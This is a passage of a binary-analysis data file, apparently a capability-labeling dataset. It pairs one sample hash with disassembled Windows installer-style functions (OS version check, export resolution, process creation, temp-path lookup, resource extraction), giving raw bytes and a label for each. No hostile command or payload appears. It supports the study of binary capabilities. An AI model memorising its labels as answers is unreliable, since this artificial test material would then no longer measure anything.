"call dword [sym.imp.KERNEL32.dll_GetProcAddress]",
"mov dword [ebp - 0x110], eax",
"test eax, eax",
"je 0x402ff7",
"mov esi, esp",
"mov ecx, eax",
"push edi",
"push 0x4091e4",
"call dword [0x40a288]",
"call dword [ebp - 0x110]",
"cmp esi, esp",
"je 0x402ff7",
"mov ecx, 4",
"int 0x29",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_FreeLibrary]",
"cmp dword [0x408a24], edi",
"jne 0x403017",
"cmp dword [0x409a30], edi",
"jne 0x403017",
"call fcn.0040621e",
"test eax, eax",
"je 0x403041",
"push 0x4091e4",
"call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]",
"test eax, eax",
"jne 0x403054",
"push edi",
"push 0x10",
"push edi",
"push edi",
"mov edx, 0x4bc",
"xor ecx, ecx",
"call fcn.004044b9",
"call fcn.00406285",
"mov dword [0x409124], eax",
"xor eax, eax",
"mov ecx, dword [ebp - 4]",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret",
"cmp dword [0x408a2c], edi",
"jne 0x403065",
"call fcn.00403b26",
"test eax, eax",
"je 0x403041",
"test byte [0x408d48], 0xc0",
"jne 0x40307c",
"mov cx, word [0x409a40]",
"call fcn.0040256d",
"mov edi, eax",
"mov eax, dword [0x408a24]",
"mov dword [0x409a44], edi",
"test eax, eax",
"jne 0x4030a1",
"cmp dword [0x409a30], eax",
"jne 0x4030a1",
"call fcn.00403ba2",
"test eax, eax",
"je 0x403041",
"mov eax, dword [0x408a24]",
"cmp word [0x408a38], 0",
"jne 0x4030b4",
"test eax, eax",
"jne 0x4030b4",
"call fcn.00404169",
"xor eax, eax",
"inc eax",
"jmp 0x403043"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x4036ee
|
[
"Check os version"
] |
8bff558bec81ecc4010000a10480400033c58945fc5356578d8564feffffc78564feffff940000008bd933ff50899d54feffff8bf7ff1514a1400085c0750abeb4040000e9340200008b8574feffff8b9568feffff6a025983e801745e83e801740abeca040000e91102000033c066890d409a400040a384814000a38081400083fa0377298bc86a035866890d409a40003bd0720b753a83bd6cfeffff337331893d84814000893d80814000eb2383fa05721e6a0358668bc8eb0f33c033c940a384814000a38081400066890d409a40003935348a40000f855c02000085db0f845402000033c089bd58feffff6685c90f95c04883e03c83c00403d821b560feffff899d4cfeffff8b956cfeffff8b8d68feffff6bc71889855cfeffffff741804ff3418e872f2ffff898550feffff8b855cfeffffff741810ff74180ce859f2ffff8b8d50feffffba4d05000085c90f88a800000085c00f8fa000000085c9753485c08b8570feffff75150fb7c88b855cfeffff3b4c180872383b4c1814eb308b8d5cfeffff0fb7c03b4419080f8394000000eb1d85c00f858a0000008b8d5cfeffff8b8570feffff0fb7c03b441914767585ff7450be4c05000083a560feffff0033db83a550feffff003bf28b9554feffff0f85ae0000008b8a800000006bc73c81c18400000003c88d85f8feffff03ca898560feffffe99000000083bd60feffff0174184789bd58feffff89bd60feffff83ff020f8cecfeffffeb05be4c05000085f675388b8d54feffff83797c000f84020100008d8558feffff50518d95f8feffffe8b0efffff85c00f85e70000008bbd58feffffba4d0500008bf23bf20f8454ffffff81fe4c0500000f8448ffffff85f60f84be00000033ff576a105757e9a90000008b8d4cfeffff85c9742a8b79348b413081c78400000003faa8017407bb04010000eb1724020fb6d8f7db1bdb81e301010000eb068bbd50fefffff605388a400001755785ff7453803f00744e6a00ff15dca14000e8512e000085c0741151e8f12d000085c07407b830001800eb036a30580bc3506854914000576a00ff150ca24000f6c304740583f806eb08f6c301742183f801751c33f6eb186a006a30ffb560feffff68549140008bd633c9e8920a00008b4dfc33c085f65f0f94c033cd5e5be8a53200008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x1c4",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push esi",
"push edi",
"lea eax, [ebp - 0x19c]",
"mov dword [ebp - 0x19c], 0x94",
"mov ebx, ecx",
"xor edi, edi",
"push eax",
"mov dword [ebp - 0x1ac], ebx",
"mov esi, edi",
"call dword [sym.imp.KERNEL32.dll_GetVersionExA]",
"test eax, eax",
"jne 0x403737",
"mov esi, 0x4b4",
"jmp 0x40396b",
"mov eax, dword [ebp - 0x18c]",
"mov edx, dword [ebp - 0x198]",
"push 2",
"pop ecx",
"sub eax, 1",
"je 0x4037a9",
"sub eax, 1",
"je 0x40375a",
"mov esi, 0x4ca",
"jmp 0x40396b",
"xor eax, eax",
"mov word [0x409a40], cx",
"inc eax",
"mov dword [0x408184], eax",
"mov dword [0x408180], eax",
"cmp edx, 3",
"ja 0x40379c",
"mov ecx, eax",
"push 3",
"pop eax",
"mov word [0x409a40], cx",
"cmp edx, eax",
"jb 0x40378e",
"jne 0x4037bf",
"cmp dword [ebp - 0x194], 0x33",
"jae 0x4037bf",
"mov dword [0x408184], edi",
"mov dword [0x408180], edi",
"jmp 0x4037bf",
"cmp edx, 5",
"jb 0x4037bf",
"push 3",
"pop eax",
"mov cx, ax",
"jmp 0x4037b8",
"xor eax, eax",
"xor ecx, ecx",
"inc eax",
"mov dword [0x408184], eax",
"mov dword [0x408180], eax",
"mov word [0x409a40], cx",
"cmp dword [0x408a34], esi",
"jne 0x403a27",
"test ebx, ebx",
"je 0x403a27",
"xor eax, eax",
"mov dword [ebp - 0x1a8], edi",
"test cx, cx",
"setne al",
"dec eax",
"and eax, 0x3c",
"add eax, 4",
"add ebx, eax",
"and dword [ebp - 0x1a0], esi",
"mov dword [ebp - 0x1b4], ebx",
"mov edx, dword [ebp - 0x194]",
"mov ecx, dword [ebp - 0x198]",
"imul eax, edi, 0x18",
"mov dword [ebp - 0x1a4], eax",
"push dword [eax + ebx + 4]",
"push dword [eax + ebx]",
"call fcn.00402a89",
"mov dword [ebp - 0x1b0], eax",
"mov eax, dword [ebp - 0x1a4]",
"push dword [eax + ebx + 0x10]",
"push dword [eax + ebx + 0xc]",
"call fcn.00402a89",
"mov ecx, dword [ebp - 0x1b0]",
"mov edx, 0x54d",
"test ecx, ecx",
"js 0x4038eb",
"test eax, eax",
"jg 0x4038eb",
"test ecx, ecx",
"jne 0x403883",
"test eax, eax",
"mov eax, dword [ebp - 0x190]",
"jne 0x40386e",
"movzx ecx, ax",
"mov eax, dword [ebp - 0x1a4]",
"cmp ecx, dword [eax + ebx + 8]",
"jb 0x4038a0",
"cmp ecx, dword [eax + ebx + 0x14]",
"jmp 0x40389e",
"mov ecx, dword [ebp - 0x1a4]",
"movzx eax, ax",
"cmp eax, dword [ecx + ebx + 8]",
"jae 0x403915",
"jmp 0x4038a0",
"test eax, eax",
"jne 0x403915",
"mov ecx, dword [ebp - 0x1a4]",
"mov eax, dword [ebp - 0x190]",
"movzx eax, ax",
"cmp eax, dword [ecx + ebx + 0x14]",
"jbe 0x403915",
"test edi, edi",
"je 0x4038f4",
"mov esi, 0x54c",
"and dword [ebp - 0x1a0], 0",
"xor ebx, ebx",
"and dword [ebp - 0x1b0], 0",
"cmp esi, edx",
"mov edx, dword [ebp - 0x1ac]",
"jne 0x403975",
"mov ecx, dword [edx + 0x80]",
"imul eax, edi, 0x3c",
"add ecx, 0x84",
"add ecx, eax",
"lea eax, [ebp - 0x108]",
"add ecx, edx",
"mov dword [ebp - 0x1a0], eax",
"jmp 0x40397b",
"cmp dword [ebp - 0x1a0], 1",
"je 0x40390c",
"inc edi",
"mov dword [ebp - 0x1a8], edi",
"mov dword [ebp - 0x1a0], edi",
"cmp edi, 2",
"jl 0x4037f6",
"jmp 0x403911",
"mov esi, 0x54c",
"test esi, esi",
"jne 0x40394d",
"mov ecx, dword [ebp - 0x1ac]",
"cmp dword [ecx + 0x7c], 0",
"je 0x403a27",
"lea eax, [ebp - 0x1a8]",
"push eax",
"push ecx",
"lea edx, [ebp - 0x108]",
"call fcn.004028e8",
"test eax, eax",
"jne 0x403a27",
"mov edi, dword [ebp - 0x1a8]",
"mov edx, 0x54d",
"mov esi, edx",
"cmp esi, edx",
"je 0x4038a9",
"cmp esi, 0x54c",
"je 0x4038a9",
"test esi, esi",
"je 0x403a27",
"xor edi, edi",
"push edi",
"push 0x10",
"push edi",
"push edi",
"jmp 0x403a1e",
"mov ecx, dword [ebp - 0x1b4]",
"test ecx, ecx",
"je 0x4039a9",
"mov edi, dword [ecx + 0x34]",
"mov eax, dword [ecx + 0x30]",
"add edi, 0x84",
"add edi, edx",
"test al, 1",
"je 0x403998",
"mov ebx, 0x104",
"jmp 0x4039af",
"and al, 2",
"movzx ebx, al",
"neg ebx",
"sbb ebx, ebx",
"and ebx, 0x101",
"jmp 0x4039af",
"mov edi, dword [ebp - 0x1b0]",
"test byte [0x408a38], 1",
"jne 0x403a0f",
"test edi, edi",
"je 0x403a0f",
"cmp byte [edi], 0",
"je 0x403a0f",
"push 0",
"call dword [sym.imp.USER32.dll_MessageBeep]",
"call fcn.0040681f",
"test eax, eax",
"je 0x4039e3",
"push ecx",
"call fcn.004067c9",
"test eax, eax",
"je 0x4039e3",
"mov eax, 0x180030",
"jmp 0x4039e6",
"push 0x30",
"pop eax",
"or eax, ebx",
"push eax",
"push 0x409154",
"push edi",
"push 0",
"call dword [sym.imp.USER32.dll_MessageBoxA]",
"test bl, 4",
"je 0x403a01",
"cmp eax, 6",
"jmp 0x403a09",
"test bl, 1",
"je 0x403a27",
"cmp eax, 1",
"jne 0x403a27",
"xor esi, esi",
"jmp 0x403a27",
"push 0",
"push 0x30",
"push dword [ebp - 0x1a0]",
"push 0x409154",
"mov edx, esi",
"xor ecx, ecx",
"call fcn.004044b9",
"mov ecx, dword [ebp - 4]",
"xor eax, eax",
"test esi, esi",
"pop edi",
"sete al",
"xor ecx, ebp",
"pop esi",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x403ba2
|
[
"Resolve function by parsing pe exports"
] |
8bff558bec83e4f881ec94010000a10480400033c489842490010000535633f62135249140005733ff89742420897c24243935288a400075226a04ba2c9a4000b9c8124000e8a30a000085c00f841f01000083f8040f871601000033db895c241c83642414008d4424486a446a0050e89936000083c40cc744244844000000803d428c4000000f85070100006a048d54241cb9d0124000e8510a000085c00f84cd00000083f8040f87c400000033c0403944241875088944247433c0eb0e837c241802750e6a0689442478586689442478eb126a0359394c241875098944247466894c247885db0f85be00000066a1388a40006685c07457a8017407b9dc124000eb0da8020f84a0020000b9e412400068040100008d942494000000e8cc09000085c0744c6aff68c01240006aff8d84249c000000506a016a7fff1568a0400083e80283f8fe740733f6468974242085f60f85a500000068040100008d942494000000b9ec124000e88009000085c0753a33c0bab1040000506a10505033c9e893070000c7052491400014070780e9180200005168428c400051ba040100008d8c249c000000e834daffff33f6463bde754a68040100008d942494000000b9f8124000e82509000085c074a5803d428c4000000f855f0200006aff68c01240006aff8d84249c00000050566a7fff1568a04000482bc60f843c0200008d442414508d442414508d8c2498000000e834ddffff85c00f84910100008b74241485ff752233c040663905409a40007416833d208a400000740d85f6751189442424e844e2ffff85f60f841d010000833d80814000000f84b001000085f60f8408010000f605349a4000040f84fb000000e8802600008bd885db0f8473010000be948140005653ff159ca040008bd033c08954241485d20f8428010000833d308a4000008b7c2410894424288d8424900000008944243866a1409a4000668944243c0fb705388a4000c744242c54914000897c2430c7442434e49140008944244074090d00000100894424408b0d349a4000f6c10874090d0000020089442440f6c11074090d00000400894424408b0d488d4000f6c14074090d000008008944244084c979090d0000100089442440a1389a40008bf4894424448bca8d44242850ff1588a24000ff5424183bf47407b904000000cd29a3249140005385c07841ff15aca040008b5c241ceb138b7c24108d5424488bcfe8d500000085c0742857ff15a4a0400043895c241c83fb020f83a40000008b7424208b7c2424e9c3fcffffff15aca0400057ff15a4a0400033c08b8c249c0100005f5e5b33cce8802d00008be55dc3506a105056bac904000033c9e84405000053ff15aca04000ff742410ff15a4a04000e8fa220000a324914000ebbb33c0bac8040000506a105068d811400033c9e810050000ebd133c0bac7040000506a10505033c9e8fb040000ff742410ff15a4a04000c705249140002b040780e976ffffff33f646833d80854000007405e87fe2ffff8bc6e960ffffff
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"and esp, 0xfffffff8",
"sub esp, 0x194",
"mov eax, dword [0x408004]",
"xor eax, esp",
"mov dword [esp + 0x190], eax",
"push ebx",
"push esi",
"xor esi, esi",
"and dword [0x409124], esi",
"push edi",
"xor edi, edi",
"mov dword [esp + 0x20], esi",
"mov dword [esp + 0x24], edi",
"cmp dword [0x408a28], esi",
"jne 0x403bfd",
"push 4",
"mov edx, 0x409a2c",
"mov ecx, 0x4012c8",
"call fcn.0040468f",
"test eax, eax",
"je 0x403d13",
"cmp eax, 4",
"ja 0x403d13",
"xor ebx, ebx",
"mov dword [esp + 0x1c], ebx",
"and dword [esp + 0x14], 0",
"lea eax, [esp + 0x48]",
"push 0x44",
"push 0",
"push eax",
"call sub.msvcrt.dll_memset",
"add esp, 0xc",
"mov dword [esp + 0x48], 0x44",
"cmp byte [0x408c42], 0",
"jne 0x403d35",
"push 4",
"lea edx, [esp + 0x1c]",
"mov ecx, 0x4012d0",
"call fcn.0040468f",
"test eax, eax",
"je 0x403d13",
"cmp eax, 4",
"ja 0x403d13",
"xor eax, eax",
"inc eax",
"cmp dword [esp + 0x18], eax",
"jne 0x403c60",
"mov dword [esp + 0x74], eax",
"xor eax, eax",
"jmp 0x403c6e",
"cmp dword [esp + 0x18], 2",
"jne 0x403c75",
"push 6",
"mov dword [esp + 0x78], eax",
"pop eax",
"mov word [esp + 0x78], ax",
"jmp 0x403c87",
"push 3",
"pop ecx",
"cmp dword [esp + 0x18], ecx",
"jne 0x403c87",
"mov dword [esp + 0x74], eax",
"mov word [esp + 0x78], cx",
"test ebx, ebx",
"jne 0x403d4d",
"mov ax, word [0x408a38]",
"test ax, ax",
"je 0x403cf1",
"test al, 1",
"je 0x403ca5",
"mov ecx, 0x4012dc",
"jmp 0x403cb2",
"test al, 2",
"je 0x403f4d",
"mov ecx, 0x4012e4",
"push 0x104",
"lea edx, [esp + 0x94]",
"call fcn.0040468f",
"test eax, eax",
"je 0x403d13",
"push 0xffffffffffffffff",
"push 0x4012c0",
"push 0xffffffffffffffff",
"lea eax, [esp + 0x9c]",
"push eax",
"push 1",
"push 0x7f",
"call dword [sym.imp.KERNEL32.dll_CompareStringA]",
"sub eax, 2",
"cmp eax, 0xfffffffe",
"je 0x403cf1",
"xor esi, esi",
"inc esi",
"mov dword [esp + 0x20], esi",
"test esi, esi",
"jne 0x403d9e",
"push 0x104",
"lea edx, [esp + 0x94]",
"mov ecx, 0x4012ec",
"call fcn.0040468f",
"test eax, eax",
"jne 0x403d4d",
"xor eax, eax",
"mov edx, 0x4b1",
"push eax",
"push 0x10",
"push eax",
"push eax",
"xor ecx, ecx",
"call fcn.004044b9",
"mov dword [0x409124], 0x80070714",
"jmp 0x403f4d",
"push ecx",
"push 0x408c42",
"push ecx",
"mov edx, 0x104",
"lea ecx, [esp + 0x9c]",
"call fcn.00401781",
"xor esi, esi",
"inc esi",
"cmp ebx, esi",
"jne 0x403d9e",
"push 0x104",
"lea edx, [esp + 0x94]",
"mov ecx, 0x4012f8",
"call fcn.0040468f",
"test eax, eax",
"je 0x403d13",
"cmp byte [0x408c42], 0",
"jne 0x403fda",
"push 0xffffffffffffffff",
"push 0x4012c0",
"push 0xffffffffffffffff",
"lea eax, [esp + 0x9c]",
"push eax",
"push esi",
"push 0x7f",
"call dword [sym.imp.KERNEL32.dll_CompareStringA]",
"dec eax",
"sub eax, esi",
"je 0x403fda",
"lea eax, [esp + 0x14]",
"push eax",
"lea eax, [esp + 0x14]",
"push eax",
"lea ecx, [esp + 0x98]",
"call fcn.00401ae8",
"test eax, eax",
"je 0x403f4d",
"mov esi, dword [esp + 0x14]",
"test edi, edi",
"jne 0x403de6",
"xor eax, eax",
"inc eax",
"cmp word [0x409a40], ax",
"je 0x403de6",
"cmp dword [0x408a20], 0",
"je 0x403de6",
"test esi, esi",
"jne 0x403dee",
"mov dword [esp + 0x24], eax",
"call fcn.0040202a",
"test esi, esi",
"je 0x403f0b",
"cmp dword [0x408180], 0",
"je 0x403fab",
"test esi, esi",
"je 0x403f0b",
"test byte [0x409a34], 4",
"je 0x403f0b",
"call fcn.00406495",
"mov ebx, eax",
"test ebx, ebx",
"je 0x403f92",
"mov esi, str.DoInfInstall",
"push esi",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_GetProcAddress]",
"mov edx, eax",
"xor eax, eax",
"mov dword [esp + 0x14], edx",
"test edx, edx",
"je 0x403f64",
"cmp dword [0x408a30], 0",
"mov edi, dword [esp + 0x10]",
"mov dword [esp + 0x28], eax",
"lea eax, [esp + 0x90]",
"mov dword [esp + 0x38], eax",
"mov ax, word [0x409a40]",
"mov word [esp + 0x3c], ax",
"movzx eax, word [0x408a38]",
"mov dword [esp + 0x2c], 0x409154",
"mov dword [esp + 0x30], edi",
"mov dword [esp + 0x34], 0x4091e4",
"mov dword [esp + 0x40], eax",
"je 0x403e8b",
"or eax, 0x10000",
"mov dword [esp + 0x40], eax",
"mov ecx, dword [0x409a34]",
"test cl, 8",
"je 0x403e9f",
"or eax, 0x20000",
"mov dword [esp + 0x40], eax",
"test cl, 0x10",
"je 0x403ead",
"or eax, 0x40000",
"mov dword [esp + 0x40], eax",
"mov ecx, dword [0x408d48]",
"test cl, 0x40",
"je 0x403ec1",
"or eax, 0x80000",
"mov dword [esp + 0x40], eax",
"test cl, cl",
"jns 0x403ece",
"or eax, 0x100000",
"mov dword [esp + 0x40], eax",
"mov eax, dword [0x409a38]",
"mov esi, esp",
"mov dword [esp + 0x44], eax",
"mov ecx, edx",
"lea eax, [esp + 0x28]",
"push eax",
"call dword [0x40a288]",
"call dword [esp + 0x18]",
"cmp esi, esp",
"je 0x403ef5",
"mov ecx, 4",
"int 0x29",
"mov dword [0x409124], eax",
"push ebx",
"test eax, eax",
"js 0x403f40",
"call dword [sym.imp.KERNEL32.dll_FreeLibrary]",
"mov ebx, dword [esp + 0x1c]",
"jmp 0x403f1e",
"mov edi, dword [esp + 0x10]",
"lea edx, [esp + 0x48]",
"mov ecx, edi",
"call fcn.00403fef",
"test eax, eax",
"je 0x403f46",
"push edi",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"inc ebx",
"mov dword [esp + 0x1c], ebx",
"cmp ebx, 2",
"jae 0x403fd7",
"mov esi, dword [esp + 0x20]",
"mov edi, dword [esp + 0x24]",
"jmp 0x403c03",
"call dword [sym.imp.KERNEL32.dll_FreeLibrary]",
"push edi",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"xor eax, eax",
"mov ecx, dword [esp + 0x19c]",
"pop edi",
"pop esi",
"pop ebx",
"xor ecx, esp",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret",
"push eax",
"push 0x10",
"push eax",
"push esi",
"mov edx, 0x4c9",
"xor ecx, ecx",
"call fcn.004044b9",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_FreeLibrary]",
"push dword [esp + 0x10]",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"call fcn.00406285",
"mov dword [0x409124], eax",
"jmp 0x403f4d",
"xor eax, eax",
"mov edx, 0x4c8",
"push eax",
"push 0x10",
"push eax",
"push 0x4011d8",
"xor ecx, ecx",
"call fcn.004044b9",
"jmp 0x403f7c",
"xor eax, eax",
"mov edx, 0x4c7",
"push eax",
"push 0x10",
"push eax",
"push eax",
"xor ecx, ecx",
"call fcn.004044b9",
"push dword [esp + 0x10]",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"mov dword [0x409124], 0x8007042b",
"jmp 0x403f4d",
"xor esi, esi",
"inc esi",
"cmp dword [0x408580], 0",
"je 0x403fe8",
"call fcn.00402267",
"mov eax, esi",
"jmp 0x403f4f"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x403fef
|
[
"Create process on windows"
] |
8bff558bec81ec1c020000a10480400033c58945fc535633f68bd94633c05785db0f84f40000008dbde4fdffffabababab8d85e4fdffff505233ff57576a205757575357ff1534a1400085c00f84830000006affffb5e4fdffffff1598a140008d85f4fdffff50ffb5e4fdffffff1548a140008b8df4fdffff393d288a40007521a12c9a4000a8017418a80275148bc125000000ff3d000000aa7506890d2c9a4000e885000000ffb5e8fdffffff1588a04000ffb5e4fdffffff1588a04000f705349a400000040000744e39bdf4fdffff7d46eb42e8bc21000057a3249140008d85f8fdffff68000200005057ff156ca0400050576800100000ff1538a14000576a108d85f8fdffffbac4040000505333c9e8b30300008bf78bc68b4dfc5f5e33cd5be8c92b00008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x21c",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push esi",
"xor esi, esi",
"mov ebx, ecx",
"inc esi",
"xor eax, eax",
"push edi",
"test ebx, ebx",
"je 0x40410a",
"lea edi, [ebp - 0x21c]",
"stosd dword es:[edi], eax",
"stosd dword es:[edi], eax",
"stosd dword es:[edi], eax",
"stosd dword es:[edi], eax",
"lea eax, [ebp - 0x21c]",
"push eax",
"push edx",
"xor edi, edi",
"push edi",
"push edi",
"push 0x20",
"push edi",
"push edi",
"push edi",
"push ebx",
"push edi",
"call dword [sym.imp.KERNEL32.dll_CreateProcessA]",
"test eax, eax",
"je 0x4040c4",
"push 0xffffffffffffffff",
"push dword [ebp - 0x21c]",
"call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]",
"lea eax, [ebp - 0x20c]",
"push eax",
"push dword [ebp - 0x21c]",
"call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]",
"mov ecx, dword [ebp - 0x20c]",
"cmp dword [0x408a28], edi",
"jne 0x404091",
"mov eax, dword [0x409a2c]",
"test al, 1",
"je 0x404091",
"test al, 2",
"jne 0x404091",
"mov eax, ecx",
"and eax, 0xff000000",
"cmp eax, 0xaa000000",
"jne 0x404091",
"mov dword [0x409a2c], ecx",
"call fcn.0040411b",
"push dword [ebp - 0x218]",
"call dword [sym.imp.KERNEL32.dll_CloseHandle]",
"push dword [ebp - 0x21c]",
"call dword [sym.imp.KERNEL32.dll_CloseHandle]",
"test dword [0x409a34], 0x400",
"je 0x404108",
"cmp dword [ebp - 0x20c], edi",
"jge 0x404108",
"jmp 0x404106",
"call fcn.00406285",
"push edi",
"mov dword [0x409124], eax",
"lea eax, [ebp - 0x208]",
"push 0x200",
"push eax",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GetLastError]",
"push eax",
"push edi",
"push 0x1000",
"call dword [sym.imp.KERNEL32.dll_FormatMessageA]",
"push edi",
"push 0x10",
"lea eax, [ebp - 0x208]",
"mov edx, 0x4c4",
"push eax",
"push ebx",
"xor ecx, ecx",
"call fcn.004044b9",
"mov esi, edi",
"mov eax, esi",
"mov ecx, dword [ebp - 4]",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x404224
|
[
"Get common file path"
] |
8bff558bec83ec3053565768888140008bf1ff1578a040008bf885ff0f846c01000068a481400057ff159ca040008945f885c00f844701000068c300000057ff159ca040008945f085c00f843001000068b881400057ff159ca040008945f485c00f841901000033db381dc0884000755168c08840006804010000ff1500a14000b9c08840008d51018a014184c075f92bca8d81c08840005068c0884000ff15e4a140008945fc80385c75165068c0884000ff15e4a1400080383a74058b45fc88188d45d0881da08740008975d08bf4895dd4895dd88b5df88bcb50c745dc98854000c745e001000000c745e400424000c745e8c0884000ff1588a24000ffd33bf47407b904000000cd298945f885c0745a8b5df48bf468c0884000508bcbff1588a24000ffd33bf47407b904000000cd29803dc088400000741468c0884000ba04010000b9a0874000e80dd3ffff8b5df08bf4ff75f88bcbff1588a24000ffd33bf47407b904000000cd2957ff15aca0400033c03805a08740000f95c0eb2357ff15aca04000bac1040000eb05bac204000033db8bce536a105353e8f400000033c05f5e5b8be55dc20800
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x30",
"push ebx",
"push esi",
"push edi",
"push str.SHELL32.DLL",
"mov esi, ecx",
"call dword [sym.imp.KERNEL32.dll_LoadLibraryA]",
"mov edi, eax",
"test edi, edi",
"je 0x4043b2",
"push str.SHBrowseForFolder",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GetProcAddress]",
"mov dword [ebp - 8], eax",
"test eax, eax",
"je 0x4043a4",
"push 0xc3",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GetProcAddress]",
"mov dword [ebp - 0x10], eax",
"test eax, eax",
"je 0x4043a4",
"push str.SHGetPathFromIDList",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GetProcAddress]",
"mov dword [ebp - 0xc], eax",
"test eax, eax",
"je 0x4043a4",
"xor ebx, ebx",
"cmp byte [0x4088c0], bl",
"jne 0x4042e6",
"push 0x4088c0",
"push 0x104",
"call dword [sym.imp.KERNEL32.dll_GetTempPathA]",
"mov ecx, 0x4088c0",
"lea edx, [ecx + 1]",
"mov al, byte [ecx]",
"inc ecx",
"test al, al",
"jne 0x4042ad",
"sub ecx, edx",
"lea eax, [ecx + 0x4088c0]",
"push eax",
"push 0x4088c0",
"call dword [sym.imp.USER32.dll_CharPrevA]",
"mov dword [ebp - 4], eax",
"cmp byte [eax], 0x5c",
"jne 0x4042e6",
"push eax",
"push 0x4088c0",
"call dword [sym.imp.USER32.dll_CharPrevA]",
"cmp byte [eax], 0x3a",
"je 0x4042e6",
"mov eax, dword [ebp - 4]",
"mov byte [eax], bl",
"lea eax, [ebp - 0x30]",
"mov byte [0x4087a0], bl",
"mov dword [ebp - 0x30], esi",
"mov esi, esp",
"mov dword [ebp - 0x2c], ebx",
"mov dword [ebp - 0x28], ebx",
"mov ebx, dword [ebp - 8]",
"mov ecx, ebx",
"push eax",
"mov dword [ebp - 0x24], 0x408598",
"mov dword [ebp - 0x20], 1",
"mov dword [ebp - 0x1c], 0x404200",
"mov dword [ebp - 0x18], 0x4088c0",
"call dword [0x40a288]",
"call ebx",
"cmp esi, esp",
"je 0x40432f",
"mov ecx, 4",
"int 0x29",
"mov dword [ebp - 8], eax",
"test eax, eax",
"je 0x404390",
"mov ebx, dword [ebp - 0xc]",
"mov esi, esp",
"push 0x4088c0",
"push eax",
"mov ecx, ebx",
"call dword [0x40a288]",
"call ebx",
"cmp esi, esp",
"je 0x404356",
"mov ecx, 4",
"int 0x29",
"cmp byte [0x4088c0], 0",
"je 0x404373",
"push 0x4088c0",
"mov edx, 0x104",
"mov ecx, 0x4087a0",
"call fcn.00401680",
"mov ebx, dword [ebp - 0x10]",
"mov esi, esp",
"push dword [ebp - 8]",
"mov ecx, ebx",
"call dword [0x40a288]",
"call ebx",
"cmp esi, esp",
"je 0x404390",
"mov ecx, 4",
"int 0x29",
"push edi",
"call dword [sym.imp.KERNEL32.dll_FreeLibrary]",
"xor eax, eax",
"cmp byte [0x4087a0], al",
"setne al",
"jmp 0x4043c7",
"push edi",
"call dword [sym.imp.KERNEL32.dll_FreeLibrary]",
"mov edx, 0x4c1",
"jmp 0x4043b7",
"mov edx, 0x4c2",
"xor ebx, ebx",
"mov ecx, esi",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"call fcn.004044b9",
"xor eax, eax",
"pop edi",
"pop esi",
"pop ebx",
"mov esp, ebp",
"pop ebp",
"ret 8"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x40468f
|
[
"Extract resource via kernel32 functions"
] |
8bff558bec5356576a0a8bf98bda576a00ff15e0a04000506a00ff15c8a040008bf03b7508774585db744185f6743b6a0a576a00ff15e0a04000506a00ff1528a1400050ff1518a140008bf885ff741a5657ff750853ff1578a2400083c41057ff15f4a040008bc6eb0233c05f5e5b5dc20400
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"push ebx",
"push esi",
"push edi",
"push 0xa",
"mov edi, ecx",
"mov ebx, edx",
"push edi",
"push 0",
"call dword [sym.imp.KERNEL32.dll_FindResourceA]",
"push eax",
"push 0",
"call dword [sym.imp.KERNEL32.dll_SizeofResource]",
"mov esi, eax",
"cmp esi, dword [ebp + 8]",
"ja 0x4046fb",
"test ebx, ebx",
"je 0x4046fb",
"test esi, esi",
"je 0x4046f9",
"push 0xa",
"push edi",
"push 0",
"call dword [sym.imp.KERNEL32.dll_FindResourceA]",
"push eax",
"push 0",
"call dword [sym.imp.KERNEL32.dll_LoadResource]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_LockResource]",
"mov edi, eax",
"test edi, edi",
"je 0x4046f9",
"push esi",
"push edi",
"push dword [ebp + 8]",
"push ebx",
"call dword [sym.imp.msvcrt.dll_memcpy_s]",
"add esp, 0x10",
"push edi",
"call dword [sym.imp.KERNEL32.dll_FreeResource]",
"mov eax, esi",
"jmp 0x4046fb",
"xor eax, eax",
"pop edi",
"pop esi",
"pop ebx",
"pop ebp",
"ret 4"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x40476d
|
[
"Set file attributes"
] |
8bff568bf1e8371f000085c07503405ec3833ddc91400000577544f605388a400001753b6a0633ff893504944000576850344000ff3584854000bad3070000e8661d000083e806741683e80174202d32080000750ac705dc91400001000000688000000056ff1598a0400033ff478bc75f5ec3
|
[
